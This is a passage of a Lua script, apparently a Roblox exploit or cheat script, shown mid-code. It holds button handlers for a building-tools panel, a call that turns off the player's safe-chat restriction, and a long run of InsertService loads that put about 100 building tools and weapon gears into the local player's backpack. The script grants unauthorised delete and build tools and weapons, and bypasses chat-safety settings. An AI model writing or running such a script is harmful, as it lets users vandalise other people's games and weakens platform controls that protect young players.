ste=false

frs.Visible=false

set.Style="RobloxButton"
else
ste=true

frs.Visible=true
set.Style="RobloxButtonDefault"
end
end)

cls.MouseButton1Click:connect(function()
ste=false
frs.Visible=false

set.Style="RobloxButton"
end)

ckb.MouseButton1Click:connect(function()
md1=1

ckb.Style="RobloxButtonDefault"
ckb.Selected=true
ckb.Text="Enabled"

ckb.TextColor3=Color3.new(0,1,0)

ryb.Style="RobloxButton"
ryb.Selected=false

ryb.Text="Disabled"

ryb.TextColor3=Color3.new(1,0,0)
end)

ryb.MouseButton1Click:connect(function()
md1=2

ryb.Style="RobloxButtonDefault"
ryb.Selected=true
ryb.Text="Enabled"

ryb.TextColor3=Color3.new(0,1,0)

ckb.Style="RobloxButton"
ckb.Selected=false

ckb.Text="Disabled"

ckb.TextColor3=Color3.new(1,0,0)
end)

rfb.MouseButton1Click:connect(function()
if(md3==1)then
md3=2

rfb.Style="RobloxButton"

rfb.Text="Disable Propertie"

rfb.TextColor3=Color3.new(1,0,0)
elseif(md3==2)then
md3=1

rfb.Style="RobloxButtonDefault"
rfb.Text="Enable Propertie"

rfb.TextColor3=Color3.new(0,1,0)
end
end)
end)

bin.Deselected:connect(function() print("iBTool_Deselected")
clr=false
if(box~=nil)then
box:remove()
end
if(lso~=nil)then
lso:remove()
end
if(gui~=nil)then
gui:remove()
end
end)]]
iBToolScript.Disabled=true
iBToolScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
local load=ctool("LoadingBTools...")
end
local insrt1 =
game:GetService("InsertService"):LoadAsset(58901534)--resize
for _, v in pairs(insrt1:GetChildren()) do
v.Name='iResizeTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt1 =
game:GetService("InsertService"):LoadAsset(16975388)--config1
for _, v in pairs(insrt1:GetChildren()) do
v.Name='iConfigTool1'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt2 =
game:GetService("InsertService"):LoadAsset(18474459)--paint
for _, v in pairs(insrt2:GetChildren()) do
v.Name='iPaintTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt3 =
game:GetService("InsertService"):LoadAsset(36334760)--dragger
for _, v in pairs(insrt3:GetChildren()) do
v.Name='iDraggerTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt4 =
game:GetService("InsertService"):LoadAsset(58901405)--material
for _, v in pairs(insrt4:GetChildren()) do
v.Name='iMaterialTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt5 =
game:GetService("InsertService"):LoadAsset(58901575)--surface
for _, v in pairs(insrt5:GetChildren()) do
v.Name='iSurfaceTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt6 =
game:GetService("InsertService"):LoadAsset(58901335)--insert
for _, v in pairs(insrt6:GetChildren()) do
v.Name='iInsertTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt7 =
game:GetService("InsertService"):LoadAsset(55028088)--stamper
for _, v in pairs(insrt7:GetChildren()) do
v.Name='iStamperTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt8 =
game:GetService("InsertService"):LoadAsset(73089239)--config2
for _, v in pairs(insrt8:GetChildren()) do
v.Name='iConfigTool2'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt9 =
game:GetService("InsertService"):LoadAsset(58880579)--rotate
for _, v in pairs(insrt9:GetChildren()) do
v.Name='iRotateTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(60791062)--wiring
for _, v in pairs(insrt10:GetChildren()) do
v.Name='iWiringTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(36738185)--delete
for _, v in pairs(insrt10:GetChildren()) do
v.Name='iDeleteTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
wait()
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then

game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."):remove()
end
end))
elseif Key==GearKey then
Player:SetSuperSafeChat(false)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then

MergeTool=ctool("iMergeTool")

MergeScript=Instance.new("LocalScript",MergeTool)
end

MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
local load=ctool("LoadingGears...")
end
local insrt8 =
game:GetService("InsertService"):LoadAsset(16688968)--coil
for _, v in pairs(insrt8:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt9 =
game:GetService("InsertService"):LoadAsset(52180871)--remotecontroltruck
for _, v in pairs(insrt9:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(55917429)--bow
for _, v in pairs(insrt10:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt11 =
game:GetService("InsertService"):LoadAsset(31314931)--epicsauce
for _, v in pairs(insrt11:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt12 =
game:GetService("InsertService"):LoadAsset(65545955)--dancegrenade
for _, v in pairs(insrt12:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt13 =
game:GetService("InsertService"):LoadAsset(28277486)--bomb
for _, v in pairs(insrt13:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt14 =
game:GetService("InsertService"):LoadAsset(27902406)--skate
for _, v in pairs(insrt14:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt15 =
game:GetService("InsertService"):LoadAsset(42845853)--freezeray
for _, v in pairs(insrt15:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt16 =
game:GetService("InsertService"):LoadAsset(50937815)--atomgun
for _, v in pairs(insrt16:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt17 =
game:GetService("InsertService"):LoadAsset(34898883)--platformproducer
for _, v in pairs(insrt17:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt18 =
game:GetService("InsertService"):LoadAsset(35683911)--wallwalker
for _, v in pairs(insrt18:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt19 =
game:GetService("InsertService"):LoadAsset(68603151)--sentry
for _, v in pairs(insrt19:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt20 =
game:GetService("InsertService"):LoadAsset(26421972)--zombie
for _, v in pairs(insrt20:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt21 =
game:GetService("InsertService"):LoadAsset(34901961)--gravity
for _, v in pairs(insrt21:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt22 =
game:GetService("InsertService"):LoadAsset(10468797)--banhammer
for _, v in pairs(insrt22:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt23 =
game:GetService("InsertService"):LoadAsset(71422361)--coolsword1
for _, v in pairs(insrt23:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt24 =
game:GetService("InsertService"):LoadAsset(62350883)--coolsword2
for _, v in pairs(insrt24:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt25 =
game:GetService("InsertService"):LoadAsset(30847733)--vinestaff
for _, v in pairs(insrt25:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt26 =
game:GetService("InsertService"):LoadAsset(48596324)--leviatingstaff
for _, v in pairs(insrt26:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt27 =
game:GetService("InsertService"):LoadAsset(61459706)--polaritystaff
for _, v in pairs(insrt27:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt28 =
game:GetService("InsertService"):LoadAsset(66416616)--zeusstaff
for _, v in pairs(insrt28:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt29 =
game:GetService("InsertService"):LoadAsset(33866846)--gravhammer
for _, v in pairs(insrt29:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt30 =
game:GetService("InsertService"):LoadAsset(30847779)--magicninja
for _, v in pairs(insrt30:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt31 =
game:GetService("InsertService"):LoadAsset(60888284)--dualkamas
for _, v in pairs(insrt31:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt32 =
game:GetService("InsertService"):LoadAsset(42845609)--bbgun
for _, v in pairs(insrt32:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt33 =
game:GetService("InsertService"):LoadAsset(32356064)--rocketlauncher
for _, v in pairs(insrt33:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt34 =
game:GetService("InsertService"):LoadAsset(69209924)--r80launcher
for _, v in pairs(insrt34:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt35 =
game:GetService("InsertService"):LoadAsset(69947379)--revengeancespear
for _, v in pairs(insrt35:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt36 =
game:GetService("InsertService"):LoadAsset(51760061)--deathspeaker
for _, v in pairs(insrt36:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt37 =
game:GetService("InsertService"):LoadAsset(59175769)--flamethrower1
for _, v in pairs(insrt37:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt38 =
game:GetService("InsertService"):LoadAsset(69499452)--laservision
for _, v in pairs(insrt38:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt39 =
game:GetService("InsertService"):LoadAsset(65082246)--dreamselixir
for _, v in pairs(insrt39:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt40 =
game:GetService("InsertService"):LoadAsset(55917420)--hydrianelexir
for _, v in pairs(insrt40:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt41 =
game:GetService("InsertService"):LoadAsset(50938746)--fermionblade
for _, v in pairs(insrt41:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt42 =
game:GetService("InsertService"):LoadAsset(72644644)--quantumentangler
for _, v in pairs(insrt42:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt43 =
game:GetService("InsertService"):LoadAsset(72713855)--giantoform
for _, v in pairs(insrt43:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt44 =
game:GetService("InsertService"):LoadAsset(26774629)--expander
for _, v in pairs(insrt44:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt45 =
game:GetService("InsertService"):LoadAsset(66426498)--kami
for _, v in pairs(insrt45:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt46 =
game:GetService("InsertService"):LoadAsset(66896565)--missiletoe
for _, v in pairs(insrt46:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt47 =
game:GetService("InsertService"):LoadAsset(69499437)--azureperiastron
for _, v in pairs(insrt47:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt48 =
game:GetService("InsertService"):LoadAsset(71037028)--magiccarpet
for _, v in pairs(insrt48:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt49 =
game:GetService("InsertService"):LoadAsset(68354832)--blizzardwand
for _, v in pairs(insrt49:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt50 =
game:GetService("InsertService"):LoadAsset(66896601)--neverendingfroststaff
for _, v in pairs(insrt50:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt51 =
game:GetService("InsertService"):LoadAsset(72644629)--orb
for _, v in pairs(insrt51:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt52 =
game:GetService("InsertService"):LoadAsset(48596305)--confusoray
for _, v in pairs(insrt52:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt53 =
game:GetService("InsertService"):LoadAsset(45941451)--danceblaster
for _, v in pairs(insrt53:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt54 =
game:GetService("InsertService"):LoadAsset(30393548)--grapplehook
for _, v in pairs(insrt54:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt55 =
game:GetService("InsertService"):LoadAsset(59848474)--deathspeakerbook
for _, v in pairs(insrt55:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt56 =
game:GetService("InsertService"):LoadAsset(49491736)--dracovinbook
for _, v in pairs(insrt56:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt57 =
game:GetService("InsertService"):LoadAsset(56561607)--dracovinwand
for _, v in pairs(insrt57:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt58 =
game:GetService("InsertService"):LoadAsset(49491716)--mischiefwand
for _, v in pairs(insrt58:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt59 =
game:GetService("InsertService"):LoadAsset(16979083)--flashbang
for _, v in pairs(insrt59:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt60 =
game:GetService("InsertService"):LoadAsset(27860496)--novawand
for _, v in pairs(insrt60:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt61 =
game:GetService("InsertService"):LoadAsset(56561579)--forgottenbook
for _, v in pairs(insrt61:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt62 =
game:GetService("InsertService"):LoadAsset(69210407)--remoteplanecontrol
for _, v in pairs(insrt62:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt63 =
game:GetService("InsertService"):LoadAsset(66823689)--icicleslicer
for _, v in pairs(insrt63:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt64 =
game:GetService("InsertService"):LoadAsset(61459678)--nekotikozphaser
for _, v in pairs(insrt64:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt65 =
game:GetService("InsertService"):LoadAsset(64220933)--ghostfiresword
for _, v in pairs(insrt65:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt66 =
game:GetService("InsertService"):LoadAsset(64869947)--ninjabomb
for _, v in pairs(insrt66:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt67 =
game:GetService("InsertService"):LoadAsset(14516975)--superdisruptor
for _, v in pairs(insrt67:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt68 =
game:GetService("InsertService"):LoadAsset(18268645)--disintergrexgun
for _, v in pairs(insrt68:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt69 =
game:GetService("InsertService"):LoadAsset(18462637)--windstaff
for _, v in pairs(insrt69:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt70 =
game:GetService("InsertService"):LoadAsset(13838639)--atomicdisintegrator
for _, v in pairs(insrt70:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt71 =
game:GetService("InsertService"):LoadAsset(33867016)--handcannon
for _, v in pairs(insrt71:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt72 =
game:GetService("InsertService"):LoadAsset(33879504)--flamethrower2
for _, v in pairs(insrt72:GetChildren()) do
v.Name='FlameThrower2'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt73 =
game:GetService("InsertService"):LoadAsset(35366155)--hypnocannon
for _, v in pairs(insrt73:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt74 =
game:GetService("InsertService"):LoadAsset(28275809)--scythe
for _, v in pairs(insrt74:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt75 =
game:GetService("InsertService"):LoadAsset(31839203)--rcformula
for _, v in pairs(insrt75:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt76 =
game:GetService("InsertService"):LoadAsset(11373617)--woodlandsstaff
for _, v in pairs(insrt76:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt77 =
game:GetService("InsertService"):LoadAsset(22969230)--emraldscatterblaster
for _, v in pairs(insrt77:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt78 =
game:GetService("InsertService"):LoadAsset(21420014)--scatterblaster
for _, v in pairs(insrt78:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt79 =
game:GetService("InsertService"):LoadAsset(36913601)--broom
for _, v in pairs(insrt79:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt80 =
game:GetService("InsertService"):LoadAsset(48847374)--positronicarmcannon
for _, v in pairs(insrt80:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt81 =
game:GetService("InsertService"):LoadAsset(71422327)--frosthammer
for _, v in pairs(insrt81:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt82 =
game:GetService("InsertService"):LoadAsset(69947367)--dualaxe
for _, v in pairs(insrt82:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt83 =
game:GetService("InsertService"):LoadAsset(33382711)--gloomystaff
for _, v in pairs(insrt83:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt84 =
game:GetService("InsertService"):LoadAsset(11719016)--blowdryer
for _, v in pairs(insrt84:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt85 =
game:GetService("InsertService"):LoadAsset(12902404)--tnt
for _, v in pairs(insrt85:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt86 =
game:GetService("InsertService"):LoadAsset(65469882)--fist
for _, v in pairs(insrt86:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt87 =
game:GetService("InsertService"):LoadAsset(65469908)--scullcracker
for _, v in pairs(insrt87:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt88 =
game:GetService("InsertService"):LoadAsset(33383241)--remotemine
for _, v in pairs(insrt88:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt89 =
game:GetService("InsertService"):LoadAsset(32353654)--moonwalkdance
for _, v in pairs(insrt89:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt90 =
game:GetService("InsertService"):LoadAsset(32355966)--winsomewand
for _, v in pairs(insrt90:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt91 =
game:GetService("InsertService"):LoadAsset(35293856)--atomizer
for _, v in pairs(insrt91:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt92 =
game:GetService("InsertService"):LoadAsset(50938773)--taserblade
for _, v in pairs(insrt92:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt93 =
game:GetService("InsertService"):LoadAsset(32858662)--icestaff
for _, v in pairs(insrt93:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt94 =
game:GetService("InsertService"):LoadAsset(16469499)--highphaser
for _, v in pairs(insrt94:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt95 =
game:GetService("InsertService"):LoadAsset(47871646)--tornade
for _, v in pairs(insrt95:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt96 =
game:GetService("InsertService"):LoadAsset(35366215)--roboarm
for _, v in pairs(insrt96:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt97 =
game:GetService("InsertService"):LoadAsset(64160547)--hoverboard
for _, v in pairs(insrt97:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt98 =
game:GetService("InsertService"):LoadAsset(54694334)--vilethorn
for _, v in pairs(insrt98:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt99 =
game:GetService("InsertService"):LoadAsset(69210321)--darkstaff
for _, v in pairs(insrt99:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt100 =
game:GetService("InsertService"):LoadAsset(62827121)--evilwand
for _, v in pairs(insrt100:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
